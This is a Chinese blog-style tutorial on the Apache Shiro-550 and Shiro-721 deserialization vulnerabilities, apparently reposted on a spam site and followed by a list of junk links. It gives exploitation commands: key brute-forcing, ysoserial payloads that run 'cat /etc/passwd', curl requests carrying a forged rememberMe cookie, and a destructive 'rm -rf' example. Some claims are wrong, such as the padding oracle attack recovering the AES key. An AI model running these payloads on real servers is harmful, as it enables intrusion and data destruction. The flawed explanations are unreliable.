当前位置: 首页 > wzjs >正文

永康企业网站建设wordpress做微信小程序

永康企业网站建设,wordpress做微信小程序,网站开发 北京外包公司,如何做简易的网站一、前言 Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务…

一、前言

Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务器控制权。

本文将深入剖析 Shiro-550Shiro-721 漏洞,从原理、发现方法到实际攻击演示,确保读者从认知到实战都能掌握。


二、Shiro 反序列化漏洞概述

1. Shiro-550(CVE-2016-4437)漏洞原理

(1)漏洞影响范围
  • Apache Shiro <= 1.2.4

  • 默认使用 CookieRememberMeManager 处理 rememberMe Cookie

(2)漏洞原理

Shiro-550 存在于 rememberMe 机制的处理流程:

  • 用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。

  • 服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。

  • 问题:Shiro 默认使用的 AES 密钥是硬编码的!

    • 攻击者可以通过 爆破密钥,伪造一个恶意的 rememberMe Cookie,执行远程代码。

2. Shiro-721(CVE-2019-12422)漏洞原理

(1)漏洞影响范围
  • Apache Shiro < 1.4.2

(2)漏洞原理

Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击

  • 攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥

  • 拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。


三、漏洞发现与利用

1. 如何发现 Shiro 漏洞?

(1)观察 Set-Cookie 头部

如果 HTTP 响应中包含:

Set-Cookie: rememberMe=deleteMe

说明目标网站使用了 Shiro,并可能存在漏洞。

(2)测试加密机制
  1. 复制 rememberMe Cookie。

  2. 修改 Cookie 内容,观察返回是否包含 deleteMe,验证加密是否有效。

2. Shiro-550 攻击实战

(1)爆破密钥

攻击者使用 shiro_attack.py 爆破默认密钥:

python shiro_attack.py --target http://example.com --keylist shiro_keys.txt

如果成功,返回密钥:

kPH+bIxk5D2deZiIxcaaaA==
(2)生成恶意 Cookie

使用 ysoserial 生成恶意 Payload:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt

然后用 AES 密钥加密,并 Base64 编码,得到恶意 rememberMe Cookie。

(3)发送攻击请求
curl -X GET http://example.com -H "Cookie: rememberMe=<恶意cookie>"

成功后,服务器会执行 touch /tmp/hacked,证明被攻击成功。

3. Shiro-721 攻击实战

(1)Padding Oracle 攻击

攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥:

python padding_oracle_attack.py --target http://example.com --cookie "rememberMe=xyz..."

如果服务器返回:

  • 500 错误 → 说明猜错了,继续试。

  • 200 OK → 说明密钥猜对了,成功解密!

(2)生成恶意 Cookie 并攻击
java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64

然后替换 rememberMe,发送攻击请求,服务器执行命令。


四、实战案例

1. 某知名 CMS 被黑

某 CMS 后台使用 Shiro-550,黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==,成功执行:

rm -rf /var/www/html

结果:整个网站首页被删光!

2. 金融网站数据泄露

黑客使用 Shiro-721 进行 Padding Oracle 攻击,解密 rememberMe,成功执行:

cat /etc/passwd

结果:服务器所有用户信息被盗取!


五、防御措施

防御措施适用漏洞说明
升级 ShiroShiro-550 / 721升级到 1.4.2+ 版本,漏洞已修复
修改默认密钥Shiro-550避免使用 kPH+bIxk5D2deZiIxcaaaA==,随机生成新密钥
禁用不必要的反序列化功能Shiro-550 / 721使用 JSON 存储用户信息,而非 Java 序列化
检测 Padding Oracle 攻击Shiro-721监控异常 Cookie,请求不同错误返回码

六、总结

Apache Shiro 反序列化漏洞是一个高危安全风险,攻击者可通过 爆破密钥(Shiro-550)或 Padding Oracle 攻击(Shiro-721),实现远程代码执行。

本篇文章从漏洞原理、发现方法到攻击演示,全面解析了 Shiro 反序列化漏洞,并提供了真实案例防御措施

如果你觉得本文对你有帮助,欢迎点赞、收藏,并分享给更多安全从业者!🚀


文章转载自:

http://yYcnxoWY.yrddL.cn
http://cbwLiM9e.yrddL.cn
http://rSExC54M.yrddL.cn
http://C4wHOYXm.yrddL.cn
http://KQCchAuh.yrddL.cn
http://MphrL2qS.yrddL.cn
http://aPr86kcB.yrddL.cn
http://tgUSOEbR.yrddL.cn
http://Vo5DaQHm.yrddL.cn
http://JIUyD5nW.yrddL.cn
http://CaSMFOzd.yrddL.cn
http://Tn6dWYGa.yrddL.cn
http://FE41tOy4.yrddL.cn
http://b12Za5Hn.yrddL.cn
http://JOnbkGyF.yrddL.cn
http://u4j8CJaJ.yrddL.cn
http://N6LlRXtU.yrddL.cn
http://REuFPoaA.yrddL.cn
http://IrRDk9zW.yrddL.cn
http://m8j8iyOj.yrddL.cn
http://uFPCUl8S.yrddL.cn
http://EIrlYE6T.yrddL.cn
http://dzecwWBB.yrddL.cn
http://tAsusKrq.yrddL.cn
http://4Jg3r99s.yrddL.cn
http://0NqLTtDT.yrddL.cn
http://KhQvs7nu.yrddL.cn
http://gVw0342L.yrddL.cn
http://sL7xfog3.yrddL.cn
http://c6TbmHgP.yrddL.cn
http://www.dtcms.com/wzjs/684140.html

相关文章:

  • 萝岗区营销型网站建设网站建设互联
  • 免费做英文网站wordpress 音乐电台
  • 备案 添加网站qq推广网站
  • 建站费用参考网页访问自动跳转中
  • 邯郸网站建设做公司网站后台登录地址
  • 四川建设招投标网站新东方烹饪学校学费价目表
  • 建设网站工作内容排版 网站
  • 浙江省建设注册管理中心网站首页网页设计这个行业怎么样
  • 网站获利模式wordpress怎么切换中文
  • 四川城乡建设厅官方网站高端外贸网站建设
  • 成都建设网站标化最新表格建设银行国际互联网网站
  • 模板做的网站如何下载地址建设网站的经验
  • 网站后台怎么做钟楼做网站
  • 做众筹网站有哪些提供网站建设出售
  • 做网站全是别人的链接网站设计论文答辩问题及答案
  • 营销推广型网站公司台州网页设计
  • 湘潭城乡建设发展集团网站什么是网络营销战略
  • 咸阳网站建设seoseo 推广怎么做
  • 南川网站建设公司网络传奇游戏
  • 做网站怎么导入源码个人主页静态网站
  • 建设积分兑换商城网站网站管理是什么
  • 郑州网站建设创业做设计必看十大网站
  • 网站维保方法久久建筑网图集下载
  • 网站制作 南宁怎么用上线了做网站
  • 自己网站做优化的有权利卖么旅游网站名字
  • 网站建设招标要求微商城小程序定制开发
  • 做第三方库个人网站外贸网站赚钱
  • 网站信息组织优化网站建设背景介绍
  • 政务网站建设索引厦门专业网站设计
  • 用cn作网站行么霸州建设局网站